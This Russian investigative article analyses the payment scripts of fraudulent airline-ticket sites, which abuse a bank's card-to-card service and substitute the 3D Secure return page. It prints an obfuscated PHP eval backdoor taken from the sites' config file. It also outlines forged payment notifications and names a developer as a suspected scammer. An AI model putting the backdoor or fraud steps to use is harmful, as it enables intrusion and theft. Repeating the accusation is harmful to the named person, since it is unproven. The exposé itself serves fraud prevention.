Дополнительно в скрипте был изменен адрес страницы, на которую должен осуществятся возврат после ввода кода 3D Secure. Сама страница для возврата тоже была предварительно приготовлена.

Пробуем еще раз провести платеж уже с локальным сайтом, который работает по протоколу https.

При первом подключении браузер естественно ругается на неправильно настроенное защищенное соединение. Это связано с тем, что сертификат у нас самоподписанный.



Поскольку источник сертификата известен, добавляем его в исключения.



Всё. Теперь соединение осуществляется по https и при переходе с сайта Сбербанка предупреждения пропадают.



После ввода кода 3D Secure возврат на специально приготовленную страницу осуществляется корректно.



Все отлично работает за исключением того, что реально деньги не проходят. В результате пришлось несколько дней тестировать и искать, в чем может быть причина.

У меня была только часть файлов, которые используются на одном из мошеннических сайтов по продаже авиабилетов. Среди файлов, которые мне прислали, нашелся файл payment.php. Это аналогичный разбираемому выше скрипт. Судя по коду он, вероятно, был создан не для обмана посетителей на «боевом сайте», а для тестирования программистом-разработчиком возможности перевода с карты на карту через сервис 3ds.payment.ru. Маловероятно, но теоретически в ранних версиях мошеннических сайтах он мог использоваться не только для тестирования.

Я попробовал провести оплату с помощью альтернативного скрипта payment.php и платеж прошел с первого раза. Единственное, что подтверждение об успешной оплате отображалось на сайте 3ds.payment.ru. Я решил, что раз этот скрипт работает, то можно будет найти причину, по которой первый в описании скрипт (payp2p.php) не работает.



Полный код скрипта payment.php под спойлером

Номер карты в скрипте я заменил.

Описание отличий скрипта payment.php от payp2p.php
Основная идея у этих скриптов одинаковая. Но есть и отличия.

В payp2p.php данные о номере карты передаются методом POST из формы. В payment.php данные карты получаются методом GET из адресной строки браузера. Это означает, что для тестирования не нужна форма, а достаточно в браузере ввести адрес типа:

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

Это очень удобно при тестировании, но очень подозрительно выглядит при использовании на реальном «сайте оплаты».

Payment.php в отличии от payp2p.php не использует сохранение данных в БД MySQL. Как я уже писал эта часть не обязательная. Для перевода денег логи можно не вести.

Payment.php не использует никакие сторонние файлы конфигураций. Номер карты получателя забит сразу в строке параметров, которые отправляются на сервер оплаты. Поскольку некоторые параметры, которые payp2p.php запрашивает при каждом использовании, не меняются годами, в payment.php они также забиты почти как константы. TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 (Что означает восьмерка в TRTYPE в документации не нашел. Сейчас в payp2p.php используется единица).

Заметное отличие — payment.php использует еще одно дополнительное промежуточное подключение по адресу https://3ds.payment.ru/cgi-bin/is_3DS. Эта страница обычно во время работы дает такой ответ {"IS_ACTIVE":"Y"} Из адреса страницы мы можем понять, что страница нужна для проверки типа платежа (Будет ли использоваться 3D Secure).

И еще одно заметное отличие. На последних строках своего кода payment.php не делает замену адреса возврата. Этим объясняется, что подтверждение успешной оплаты отображается на сайте 3ds.payment.ru.

Заметка на полях… Возможно совпадение, но если обратить внимание на версию Firefox, которую «альтернативный» скрипт payment.php выдает в качестве идентификатора браузера («Firefox/3.0.3»), можно предположить, что он был написан как минимум несколько лет назад и, вероятно, сервис перевода с карты на карту Промсвязьбанка использовался подобными скриптами годами. Напомню, версия 3.5 Firefox была выпущена в 2009 году, версия 4 Firefox была выпущена в марте 2011г, разбираемый в начале статьи скрипт payp2p.php идентифицируется, как «Firefox/38.0», а текущая версия в ноябре 2016 года — Firefox 49.

Далее были попытки заставить неработающий по какой-то причине скрипт payp2p.php починить, взяв за основу рабочий скрипт. Были перепробованы разные варианты. Все куски кода, которые как-то могли влиять на работу по очереди переносились из рабочего скрипта в нерабочий. Среди прочего была попытка дополнительного промежуточного подключения к https://3ds.payment.ru/cgi-bin/is_3DS; изменение, включение и отключение опций cURL и др. Ничего не помогало, — каменный цветок не выходил.

Позднее на время тестирования переадресацию на заключительном этапе в payp2p.php было решено отключить. После этого появилась возможность прочитать сообщение об ошибке от Промсвязьбанка. Скриншот ошибки ниже. В браузере после неудачной попытки провести платеж отображается другая страница, но если нажать «Back» один или несколько раз, то можно увидеть эту страницу.


Перевод:

Извините, по техническим причинам Ваш запрос не может быть обработан.

Сообщение об ошибке: Неправильная/Дублирующая авторизационная ссылка (связь/сноска)
Пожалуйста, попробуйте еще раз или посетите нас позже, или используйте другие средства/способы оплаты

На сайте Промсвзязьбанка есть некоторые ограничения по количеству платежей с одной карты в день и др. Хотя лимиты количества реальных платежей я не превысил, возможно, на каком-то этапе платежи не проходили, из-за большого количество моих попыток. (Для захвата значений переменных при отладке я много раз начинал процесс оплаты, но не заканчивал его) Точно причину этого сообщения я не знаю. При каждой попытке оплаты ORDER_NUM и TIMESTAMP используются новые. Они не должны были влиять на появление такой ошибки. Хотя с карты, которую я использовал для оплаты, один успешный платеж прошел через альтернативный скрипт payment.php, возможно карта или отправителя или получателя попали в стоплист.

Скрипт payp2p.php был уже мало похож на свое первоначальное состояние. Я уже сам начал путаться, что я в нем заменил, а что нет. Поэтому я вернул его в исходный вид, за исключением того, что на последних строках подмена переадресации на страницу успешной оплаты была отключена. Номера карты отправителя и получателя для последующих попыток были использованы новые.

Наконец, с помощью payp2p.php получилось провести успешный платеж.



Обратите внимание на подпись в строке «Описание».

После ввода кода подтверждения 3D Secure возврат осуществляется на страницу Промсвязьбака:



Полученные SMS. Слева от банка отправителя. Справа от банка получателя.



Сбербанк, почему-то указал в SMS время по Гринвичу. Раньше я такого не замечал в сообщениях от этого банка.

При отключенной подмене страницы возврата повторить успешную оплату с помощью скрипта payp2.php получилось многократно.

Я пробовал платить с других карт. Каждый банк выдает свою форму 3D Secure. Но сути это не меняет.





Обратите внимание, что не все банки в свою форму подтверждения включают «дополнительное описание». В нашем пример «ticket pay».

Под страницу каждого банка подстраиваться не обязательно. Хоть формы разные, механизм работы подмены для них подразумевается одинаковый. Любая форма после оплаты содержит ссылку с адресом страницы, на которую нужно вернуться. На «левый сайт» сами банки, предоставляющие формы проверки 3D Secure, скорее всего не вернут. Наверняка, есть какие-то правила и банки с формы проверки 3DS как минимум должны возвращать на тот же домен, с которого пришёл запрос на оплату. (В нашем случае на 3ds.payment.ru). Банк, проверяющий код 3D Secure, в случае правильного ввода «пароля», в html коде страницы указывает адрес на который нужно вернуться, но проконтролировать был ли возврат именно на эту страницу уже не может.

В результате всех экспериментов удалось заставить скрипт payp2p.php платить через сервис перевода с карты на карту Промсвязьбанка 3ds.payment.ru. При этом пришлось отключить подмену адреса возврата на последних строках скрипта. При включении подмены адреса страницы возврата, как было в оригинале скрипта, в настоящее время реально деньги не проходят. Показывается страница проверки 3D Secure; присылается SMS с «паролем»; форма проверки не пропускает на следующий шаг при вводе неправильного пароля; после ввода правильного «пароля» производится переадресация на подложную страницу, но деньги не проходят.

Подлог адреса страницы возврата при успешной оплате — это очень важная часть для мошеннических сайтов. Если «покупатель авиабилетов» не подозревает, что его обманули, то он может оплатить не одну, а несколько покупок билетов и после этого долго (дни и недели) не предпринимать никаких активных действий по отмене платежа и тп. Если покупатель после «оплаты авиабилетов» получит подтверждение о переводе с карты на карту, то он скорее всего уже не будет проводить следующие оплаты, намного быстрее обратится в свой банк и, возможно, в полицию. Это означает, что денежные потоки на мошеннических сайтах снижаются, вероятность отмены прошедших платежей увеличивается, правоохранительные органы и сотрудников хостинга начинают действовать раньше, а вероятность не успеть вывести в безопасное место украденные средства увеличивается.

В том, что этот скрипт использовался на боевом мошенническом сайте, у меня нет сомнений. У меня есть основания полагать, что он работал в том виде, в котором мне его предоставили. В настоящее время он работает ограничено (без переадресации).

Примерно через три недели после выхода первой части публикации, в которой упоминалось использование мошенниками сервиса перевода с карты на карту Промсвязьбанка, этот банк внес некоторые изменения в работу своего сервиса, которые я считаю важными. Если раньше при оплате через сайт Промсвязьбанка плательщикам приходили малопонятные SMS с текстом «P2P PSBANK», то теперь стали приходить SMS с текстом «CARD2CARD PSBANK.RU». Даже такого, на первый взгляд, незначительно изменения расшифровки назначения платежа достаточно, чтобы часть потенциальных жертв мошенников отменила оплату на этапе подтверждения. Я думаю, что это не совпадение, а изменения были внесены именно в результате публикации статьи на GeekTimes.

Вероятно, что после публикации первой части статьи, наряду с изменением текста подтверждения в SMS, в алгоритмы работы сервиса перевода с карты на карту Промсвязьбанка могли быть внесены и дополнительные корректировки. Я не могу утверждать на 100%, но мое мнение, раньше сервис Промсвязьбанка 3ds.payment.ru с большой вероятностью не проверял возврат пользователей на свой сайт после успешного ввода кода 3D Secure на сайтах банков-эмитентов карт плательщиков. Поэтому платежи проходили даже в том случае, когда мошеннические скрипты меняли страницу возврата.

Банку, который много раз упоминается в этой публикации, повезло с бесплатной рекламой. Я думаю, что в действительности есть еще достаточное количество подобных банков. Просто этому больше повезло в том, что его выбрали сначала для использования на мошеннических сайтах, а потом и для разбора в этой статье. Как говорится, нет здоровых пациентов, — есть плохо обследованные.

При написании этой статьи задачи создать боевой мошеннический скрипт не стояло. Была задача попробовать понять, как это работает или работало, чтобы разобраться в причинах, по которым «покупателей авиабилетов» могли обманывать, и сделать из этого выводы.

Эта статья ставит много вопросов, но не дает всех ответов. Я уверен, что среди читателей найдется достаточное количество продвинутых пользователей, которые смогут более точно прокомментировать клиническую картину и поставить диагноз. Со своей стороны, я постарался максимально полно представить свидетельские показания…

Часть публикации с разбором скрипта оплаты закончена. Далее бонусы для тех, кто смог дочитать до этого места.


Откуда берутся дешевые цены на авиабилеты на мошеннических сайтах?

В предыдущей части публикации по косвенным признакам было показано, что информация по наличию мест и ценам программно получается на каком-то честном сайте, модифицируется и выдается пользователю.

Пример информации по наличию мест и ценам на мошенническом сайте


Теперь у нас появилась возможность заглянуть за сцену и посмотреть, как это реализуется в программном коде.

Вот место в коде мошеннического сайта, в котором мы видим, откуда берутся картинки и цены по авиарейсам на мошеннических сайтах.



Как и предполагалось в этой серии мошеннических сайтов информация о наличии свободных мест берется на честном сайте www.aviacassa.ru. Поскольку количество авиакомпаний и рейсов большое, все картинки и иконки в подобной выдаче заранее скачать очень трудно, ссылки на такие картинки оставляются прямо на оригинальный сайт.

Из полученной оригинальной цены на авиабилеты, вычитается скидка. Как было ранее показано, владелец мошеннического сайта произвольно может установить размер скидки. Величина скидки хранится в файле aviacfg.php.

Более полный кусок кода, отвечающего за получение информации по наличию мест, подготовки ссылок на картинки и изменения цен под спойлером.

Парсер цен - более полная часть кода


Построчно этот кусок разбирать не будем, поскольку здесь важен не сам код, а идея, как и откуда берутся реальные данные по авиабилетам для мошеннических сайтов.

Старый парсер использовал другой сайт для получения данных:



Совет для авиакассы (www.aviacassa.ru) — нужно закрыть возможность ссылок на файлы домена с внешнего реферера (ссылающегося сайта). Такую возможность можно закрыть всем без исключения, а можно сделать исключения только для проверенных партнеров. Веб-сервер NGINX, который использует aviacassa, легко позволяет это сделать. Такая же рекомендация ко всем подобным сайтам, которые могут быть использованы, как «доноры информации».

Если мошеннические сайты не смогут напрямую ссылаться на картинки на сайтах типа авиакассы, то это усложнит им жизнь. Количество логотипов и картинок различных авиакомпаний заранее не известно. Даже если картинки пытаться загрузить предварительно, можно что-то пропустить, и мошеннический сайт станет выглядеть некрасиво. Такие сайты вынуждены будут скачивать все картинки к себе локально на сервер при каждом запросе или хотя бы проверять, была ли такая картинка скачана ранее в «кэш» или нет. Это увеличивает нагрузку на сервер мошенников и делает отображение страницы более медленным. Кроме того, закрытие возможности ссылаться напрямую на картинки в один момент сделает все текущие мошеннические сайты, использующие информацию авиакассы нерабочими.

Конечно со временем разработчики сделают заплатки. Но поскольку мошеннические сайты управляются не централизовано, а различными людьми и автоматическое обновление софта не предусмотрено, каждому владельцу мошеннического сайта придется искать возможность обновиться. Кто-то найдет обновленный код, а кто-то не найдет и сайт перестанет работать.

Также авиакасса может включить для подобных картинок отдельный лог, в котором будут сохраняться записи о всех внешних реферерах (ссылающихся сайтах). И за несколько дней в этом логе получится список всех активных мошеннических сайтов. Очень удобно — вместо того, чтобы пытаться по отдельности найти каждый сайт, можно попросить их самостоятельно записаться в список (лог-файл).

А еще если в авиакассе есть веселые админы, то можно пошутить...
В Веб-сервере NGINX можно не закрывать возможность ссылаться напрямую на картинки со сторонних доменов, а можно сделать так, чтобы «себе» и доменам из белого списка показывалась правильная картинка, а всем остальным при запросе картинки с аналогичным URL адресом, отдавался другой файл. А отдавать можно что угодно. Самое безобидное — это отдавать «посторонним доменам» одноцветные черные прямоугольники, а можно и написать на таких картинках что-нибудь, например, про то, где искать оригинальный файл или про то, куда заявить о мошенническом сайте.

Кто-то может сказать, что публикация таких статей служит учебным пособием для мошенников, и задать вопрос, почему я здесь это выложил? Отвечаю. Если есть какой-то способ воровства денег, основанный на использовании уязвимого или недостаточно защищенного программного обеспечения, про который знают хотя бы несколько человек и их цель на этом заработать, то попытка скрыть такую информацию и сделать вид, что никаких проблем нет, приводит только к еще худшим последствиям. Мошенники пользуются подобными способами еще активнее, банки при этом довольны, потому что им комиссию за услуги исправно оплачивают, а крадут деньги у них. Зачем банкам что-то менять, если и так все хорошо? Периодически только какие-то пользователи Интернета оказываются обманутыми и теряют деньги на мошеннических сайтах. Но кого это волнует?

Мое мнение, что если какая-то «хитрая» возможность красть деньги становится известна очень большому количеству людей, то со временем мошенникам становится намного сложнее ее применять, а организациям, которые при этом используются, становится невозможно игнорировать проблемы.

Скрипт payp2.php и еще некоторое количество файлов, использовавшихся на недавней серии мошеннических сайтов по продаже авиабилетов, мне прислал пользователь frozenstorm. Где он его взял, я не знаю, — все вопросы по этому поводу направляйте к нему напрямую.

Но сразу могу сказать, что, как выяснилось позднее, найти полный комплект исходников мошеннических сайтов по продаже авиабилетов совсем несложно. Ищется по запросу «фейк авиабилеты». Оба главных поисковика выдают ссылки на первой странице. Полный комплект исходников стоил раньше всего 25-30т рублей. После того, как эта тема перестала работать, нерабочие исходники, которые, по словам продавца «легко допилить», стали стоить 10тр. Недавно, судя по сообщениям на форумах, в продаже якобы выставлена версия 2.0 опять по цене 25тр.

Ниже под спойлером пример свободной продажи исходников мошеннического сайта по продаже авиабилетов на одном из форумов.

Скриншот форума. (Аккуратно, очень длинные картинки)

Скриншота форума. Продолжение (2/5)


Скриншота форума. Продолжение (3/5)


Скриншота форума. Продолжение (4/5)


Скриншота форума. Продолжение (5/5)



На форуме, который приведен на скриншоте, открыто продаются и покупаются коды подобных мошеннических сайтов, данные кредитных карт, паспортные данные, персональная информация из государственных баз данных, предлагается сделать поддельные паспорта, водительские удостоверения итп. Это лишь короткий список для примера. Т.е. за редким исключением, там сплошной криминал. При этом администрация форума выступает гарантом между покупателями и продавцами. Форумов таких, как этот, несколько. Все они свободно работают годами. Все они прекрасно индексируются поисковиками (Яндексом, Гуглом итп). Адрес конкретного форума не привожу. Их очень легко найти.

Поскольку за каждым мошенническим сайтом по продаже авиабилетов стоит отдельный человек, который за недорого купил исходники сайта, в каждом конкретном случае можно найти ответственного и это нужно делать. Не каждый админ подобного фейк-сайта является супер профессионалом, следы которого невозможно найти. Я уверен, что среди подобных админов достаточно тех, кто наследил и при наличии соответствующих полномочий может быть вычислен. Но, по моему мнению, вместо того, чтобы пытаться бороться с каждым фейк-сайтом по-отдельности, стоит обратить внимание на площадки, на которых свободно распространяются исходники подобных фейк-сайтов.

Для того, чтобы нанести сокрушительный удар по мошенническим сайтам, продающие фейк авиабилеты, нужно не так и много. Если каждый сделает понемногу, то это сильно усложнит жизнь мошенникам и может поставить вопрос о неэффективности ведения такого бизнеса. Нужно немного внимания от поисковиков — не допускать попадания таких сайтов в рекламные объявления. Без рекламы пробиться таким сайтам в топ выдачи нереально. Также поисковики должны исключать из выдачи сайты, где фактически ведется покупка и продажа криминальных схем. Нужно немного внимания от банков — следить за своими сервисами, связанными с оплатой, так чтобы их не могли легко использовать мошенники. Нужно немного внимания от хостеров. Нужно немного внимания от платежных систем — для начала не допускать проведения платежей без проверки 3D Secure (как показано в первой части публикации, это до сих пор возможно). Нужно немного внимания от правоохранительных органов. Вместо того, чтобы расследовать каждый случай кражи денег, эффективнее действовать на упреждение — разобраться с гнездом, где мошенники общаются (проанализировать, например, те самые теневые форумы). И конечно нужно немного внимания от самих потенциальных покупателей авиабилетов.

Говорят, что ремонт невозможно закончить, а его можно только остановить. С этой публикацией получается похожий случай. Поэтому, хоть и можно было бы еще много написать, я остановлюсь здесь. Спасибо за внимание. Буду рад Вашим комментариям.

P.S. Про Джеки Чана... Можно не читать
В старых фильмах с участием Джеки Чана, а может быть и в новых тоже, в конце фильма вместе с титрами обычно включали нарезку смешных сцен, полученных во время съемки, но не вошедших в основной фильм.

Вот и у меня за время подготовки статьи накопились некоторые материалы, которые для основной части публикации не годятся, но, тем не менее, они могут быть для кого-нибудь интересны. Размещаю эти материалы ниже под спойлерами. Их можно не читать и даже не открывать.

Интересные картинки
Ниже представлена картинка fon.png. Она лежала там же, где и скрипт, и стили. В этой папке (merch) было всего несколько файлов. Это один их них.

Про логотип на картинке в верхнем правом углу ничего не могу сказать. Наверное, когда-то эту картинку с указанного сайта взяли, чтобы форму свою сделать. Замечу это только картинка. Никакой связи с сайтом банка в коде нет.


В этой же папке лежали пару картинок с логотипом VISA и Mastercard и вот такой файл (logo_standart_ru.png):



Этот файл нигде не использовался. Почему его оставили, непонятно.

Еще интересный небольшой кусок кода из файла parser.php


Основные моменты прокомментированы в самом коде.

Головоломка для хакеров
В одном из программных файлов, которые мне прислали, есть интересное место, в котором явно что-то зашифровано. Возможно, там даже есть что-то, о чем не должны догадаться «администраторы» сайтов. Файл (config.php) содержит много различных настроек сайта, которые малоинтересны. Но в конце файла одна и та же зашифрованная строка с незначительными изменениями встречается девять раз. Я не смог её расшифровать. Предлагаю попробовать это сделать читателям. Для удобства копирования текст из программного кода приведен под скриншотом.



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

За сценой. Так выглядит панель управления с той стороны


Благодарность за картинку выражается пользователю интернета, который выдает себя за автора или, может быть, за «дистрибьютора» кодов мошеннических сайтов на различных форумах.

Про эпичный случай с адресом email в форме
При разборе полей формы упоминалось поле, содержащее EMAIL. Продублирую скриншот:


На сайте оплаты с карты на карту 3ds.payment.ru в этом поле всегда указан адрес Lakhtin@psbank.ru.

Давайте поищем, что это за адрес вообще такой? Оказывается, это не просто какой-то адрес. Он, например, упоминается на официальном сайте Mastercard в списке сертифицированных вендеров 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Скриншот одной из страниц со списком вендроров на сайте Mastercard


Этот email адрес используется для почтовых уведомлений на сайте оплаты с карту на карту. В то же самое время интернет-магазины используют его для тестирования при подключении. Но и после окончания тестирования интернет-магазины зачастую оставляют этот адрес в поле для почтовых уведомлений. Т.е. это какой-то адрес, который знают все и на который, вероятно валится такая куча писем, что разобраться в них без пол-литра невозможно.

Почему я считаю, что указывать email для уведомлений в поле формы нельзя? Поясню это на основе примера. Допустим, есть интернет-магазин, который хочет принимать онлайн платежи за свои товары. Если такой магазин указывает в качестве уведомлений почтовый адрес банка, то в этом нет смысла. У банка и без того должна быть полная информация о каждой транзакции. А если банк очень хочет, чтобы информация о каждом платеже была не в структурированной базе данных, а для чего-то приходила на какой-то внутренний почтовый адрес, то это легко сделать программно, не вынося адрес на всеобщее обозрение.

Другой случай опубликования почтового адреса для уведомлений представляет уже реальную опасность. Допустим, какой-то интернет-магазин укажет свой email адрес для получения уведомлений. Это означает, что любой человек, может посмотреть скрытые поля формы и узнать куда приходят уведомления о платежах конкретной компании. Я не знаю, что именно приходит в уведомлениях от Промсвязьбанка. Но если предположить, что уведомления такие же, как у других банков и сервисов приема платежей, то скорее всего в таком уведомлении сообщается об успешных принятых платежах. Обычно банк принимает онлайн оплату от какого-то физического лица, например, при оплате картой, присылает email уведомление компании-продавцу, а реально деньги компании-продавцу поступают на расчетный счет с задержкой минимум в один банковский день. (Например, если оплата картой прошла в пятницу вечером, то деньги на р.с. продавец получит не раньше вторника). Покупатель не будет ждать несколько дней, пока деньги поступят на р.с. организации. Он захочет получить товар сразу. Это означает, что для многих магазинов почтовое уведомление фактически служит подтверждением онлайн-оплаты, а значит сигналом к отгрузке товара. Зная адрес, на который приходит уведомления об успешной оплате, мошенник может легко составить свое письмо, которое будет выглядеть точно так же, как уведомление от банка. Уведомления у каждого банка выглядят примерно одинаково для всех компаний. После отправки такого поддельного уведомления, мошеннику остается позвонить в интернет-магазин, сказать, что он только что все оплатил и хочет побыстрее получить товар. Если продавец не проверит факт оплаты по дополнительным каналам, например, через личный кабинет, то товар может быть отгружен, а оплата уже не придет.

Зачем вообще указывать такой адрес в форме оплаты? Банк при регистрации каждой торговой точки должен запрашивать адрес, на который ей присылать уведомления. Свой email банк тоже, наверное, знает. Этого достаточно для рассылки уведомлений. Если нужно какое-то тестирование провести, то для этого можно какой-то дополнительный параметр предусмотреть, при котором никакие данные раскрываться публично не будут.

А это кто такой?
Ниже еще один пример того, что описываемый в статье метод, «нештатного» использования сервиса 3ds.payment.ru, не является большим секретом. На скриншотах ниже показано, как один из программистов в двух чатах программистов фреймворка LaravelRUS обсуждает с другими программистами, почему у него не проходит Curl запрос к 3ds.payment.ru.

Обсуждается ровно тот самый механизм оплаты, как в описываемых в статье скриптах. Для чего может потребоваться писать такие программы? Для спортивного интереса? Для статьи?
Вполне возможно, этот разработчик имеет отношение к созданию или к адаптации скриптов, используемых на различных мошеннических сайтах.







А вот еще чем этот программист занимается. Делает парсеры сайтов. Где-то это слово уже встречалось.



Несколько ссылок:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — страница с архивом обсуждений в чате. Нужное нам место искать примерно в середине.
» http://gitchat.org/developers/Valtas — сообщения пользователя в другом чате
» https://github.com/Valtas — Профиль программиста на Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - программист на фрилансе.

Дополнительно читатели в личку прислали его личный сайт, предполагаемые Фамилию, Имя и дату рождения — Все получено путем анализа открытой информации.

Кладбище погибших мошеннических сайтов по продаже авиабилетов
Я уже писал, что количество мошеннических сайтов исчисляется десятками и сотнями. Ниже привожу ссылку на один из сайтов, который методично ведет черный список сайтов. В нашем случае нас интересует раздел с черным списком сайтов, по продаже авиабилетов.

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

В этом списке сейчас 336 записей. По большой части сайтов в этом списке есть информация о домене, провайдере и скриншоты главных страниц. Можно оценить креатив создателей подобных сайтов.

Скриншот форума с черным списком сайтов по продаже авиабилетов


Вообще почему мошенники такое внимание уделяют именно продаже авиабилетов? На мой взгляд, это идеальная для них область. Количество авиакомпаний большое. Если учитывать иностранные направления, то очень большое. Цены на билеты очень сильно отличаются у разных компаний и даже у одной компании в зависимости от аэропорта, типа самолета, класса обслуживания, времени покупки и т.п. В этой связи покупатели начинают искать, где купить билеты подешевле. При этом нет никаких ориентиров ни по ценам, ни по тому, как должен выглядеть сайт продавца. Также очень удобно, что покупателю достаточно прислать какое-нибудь письмо с «подтверждением покупки» и он как минимум несколько дней будет спать спокойно. Удобны и размеры платежей (и не мало и не много). Многим пострадавшим лень будет из-за 5-10-20тр идти в полицию и т.п. В смеженной области, продаже жд билетов, хотя теоретически и можно попробовать сделать тоже самое, работать будет очень тяжело. Есть фактически монополист (ржд), дешевле которого, если я не ошибаюсь, обычно никто не продает билеты.

Ээээ. А меня то за что?
Для того чтобы протестировать перевод с карты на карту я использовал четыре свои карты разных банков. Через пару недель после тестирования обнаружилась странная особенность. Три карты стало невозможно использовать для оплаты в одном из магазинов, в котором я иногда бываю. У четвертой карты истек срок действия, поэтому про нее ничего не скажу. При попытке оплаты из терминала на кассе вылезает чек «ОТКАЗ. Не платить». При этом магазин утверждает, что у него проблем нет с терминалом и другие покупатели за несколько минут до меня расплачивались картой. С моими картами тоже нет проблем, потому что я расплачиваюсь ими до захода в этот магазин и после. Я неоднократно с интервалом в несколько дней пробовал расплатится своими тремя картами в этом магазине. Всегда получаю отказ. Хотя раньше я в этом магазине всегда пользовался картами.

Интересный нюанс в этой истории состоит в том, что магазин при приеме карт использует кассовый терминал, подключенный к Промсвязьбанку. Вероятно, все мои карты, которые были использованы при тестировании онлайн-оплаты, были внесены Промсвзяьбанком в его внутренний черный список. Хоть это и неприятно, но я не сильно расстраиваюсь. Во всех остальных местах, где я бываю, терминалы обслуживаются другими банками и проблем с оплатой не возникает.

При тестировании я пользовался только своими личными картами, никаких противоправных действий не совершал. Поэтому можно только догадываться, почему карты перестали принимать в терминалах Промсвязьбанка. Вероятно, многократный перевод мелких сумм в течение короткого промежутка времени выглядит подозрительно со стороны банка.

Приложение Ж
Когда при разборе работы скрипта я искал информацию о том, за что отвечают различные поля в форме перевода с карты на карту Промсвзяьбанка, один из поисковиков выдал мне интересную ссылку на одну научную работу. Научная работа была посвящена интернет-эквайрингу и проведению онлайн-оплат магазинами через один из банков. Название банка в явном виде не упоминается. Но по скриншоту ниже Вы можете понять, какой банк имеется ввиду.



Примерно на 80 страницах подробно рассказывается, как и что работает при взаимодействии банка и интернет магазинов. Разбираются процесс подключения магазинов, назначения всех полей форм. Среди прочего разбирается состав и назначение программных файлов, используемых банком. Ниже небольшая выдержка из текста:



А в конце работы на 56 страницах в приложении с говорящим именем, «Приложение Ж», приводится полный исходный программный код, используемый на стороне банка.
И я даже не удивился бы, если бы оказалось, что «ключи безопасности», в распечатке кода оказались подлинными, которые используются в настоящее время.

Пример приведенного в приложении к научной работе кода:





Код этот относится к приёму онлайн-платежей от интернет-магазинов. Хотя к переводам с карты на карту он не относится, в описании очень много пересечений. Судя по всему, переводы с карту на карту используют то же программное ядро. Этот код я не анализировал. Вполне возможно, что там нет ничего критического. Но сам факт того, что исходные коды программного обеспечения банка находятся в открытом доступе, на мой взгляд, заслуживает внимания.

Поделиться с друзьями
-->

Комментарии (85)


  1. Remdev
    13.11.2016 19:52

    SECURE_AUTH_KEY — секретный ключ для подключения к чему-то без использования паролей. Для чего именно использовался этот ключ, из тех файлов, что были в наличии, непонятно.

    Судя по структуре, константам и тд, там просто в основе DLE используется. В dle эта константа для хеширования используется, вроде.


    1. xsash
      13.11.2016 20:33

      Опередили. Согласен по путям и всему соответствует CMS DLE


  1. lostpassword
    13.11.2016 20:11
    +16

    Огромная работа проделана. Очень непросто даже собрать весь такой материал, и уж тем более написать статью. Спасибо!


  1. kmx
    13.11.2016 20:37
    +1

    frozenstorm откуда исходники выдернули?


    1. frozenstorm
      13.11.2016 22:45

      Напишите в личку по этому поводу


      1. ValdikSS
        14.11.2016 09:15
        +6

        Зачем из этого делать тайну? На первом скриншоте SQL-инъекция.


        1. DCNick3
          14.11.2016 20:51

          А как с помощью SQL-инъекции можно получить файлы? Можно ссылочку какую-нибудь, или что-то вроде того…



  1. xsash
    13.11.2016 20:43
    +20

    Работа конечно большая проделана, но помоему весь смысл статьи можно сократить в этих предложениях:

    Некий поддельный сайт раскручивают при запросе цен на авиабилеты парсит легальные сайты, показывая пользователю результаты.
    При оплате данные карты посылаются на легальный сервис card2card банка.

    И, если раньше, использовались фреймы, пряча визуальные части страниц, то в этом случае идет просто отправка данных через POST.

    Разрабов банка отпинать, что не смотрят откуда идут данные.


    1. ValdikSS
      14.11.2016 09:10
      +11

      Удивительно, что вас минусуют. Как по мне, статью можно смело сокращать раза в 3-4. Вероятно, xbox любит много писать, но в тексте слишком много подробностей и воды, что не сказать, что плохо, но отвлекает и подталкивает пропускать все эти триады.
      xbox, могу порекомендовать книгу «Пиши, сокращай».


      1. xbox
        14.11.2016 10:47
        +3

        Спасибо за комментарий и ссылку.
        Книгу прочитаю.

        Автор предыдущего перед Вашим сообщения, судя по всему, уже ознакомился с этой книгой.


      1. Mingun
        15.11.2016 22:12
        +3

        А мне наоборот понравилось. Именно такими статьями и завлекаются молодые кадры в наш стан. при эом автор умудрился рассказать достаточно, чтобы с нулевыми знаниями можно было разобраться, но в то же время без нудятины.


  1. AVX
    13.11.2016 20:59
    +1

    Давайте расширим чтоль функционал — зачем ограничиваться только авиабилетами? Ведь можно продавать смартфоны, компьютеры, и ещё что угодно, и парсить цены с легитимных сайтов. Обычные пользователи ведь как вводят адрес сайта: открывают браузер и в поиске пишут «одноклассники» — им выдаётся самая релевантная страница — легитимная, и по ней переходят. Аналогично пишут «ситилинк», или другой магазин — и большинство не обратят внимания, если первой ссылкой будет какой-нибудь «ситилинк.рф» (сейчас несуществующий). Далее парсим оригинальный сайт, пишем что-нибудь вроде «В связи с участившимися случаями отказа от товара, просим предоставить 50% предоплату» — и далее заставить пользователя платить.

    P.S. не считайте руководством к действию, если что.
    P.P.S. Кстати, иногда код php можно получить без доступа на хостинг, в случае ошибок в работе сервера. Мне несколько раз попадалось — вместо кода html страницы возвращается сам текст php-страницы (код php).


    1. MxMaks
      13.11.2016 21:05
      +1

      Вы знаете, сайт о смартфонах с хорошим трафом сам по себе приносит неплохую прибыль никого не обманывая. Адсенс + брендинг + прямые ссылки на партнеров в месяц дают хорошую прибыль.

      Но, чтобы ситилинк рф, оказался легитимней еще надо постараться)


    1. Pakos
      14.11.2016 15:45
      +1

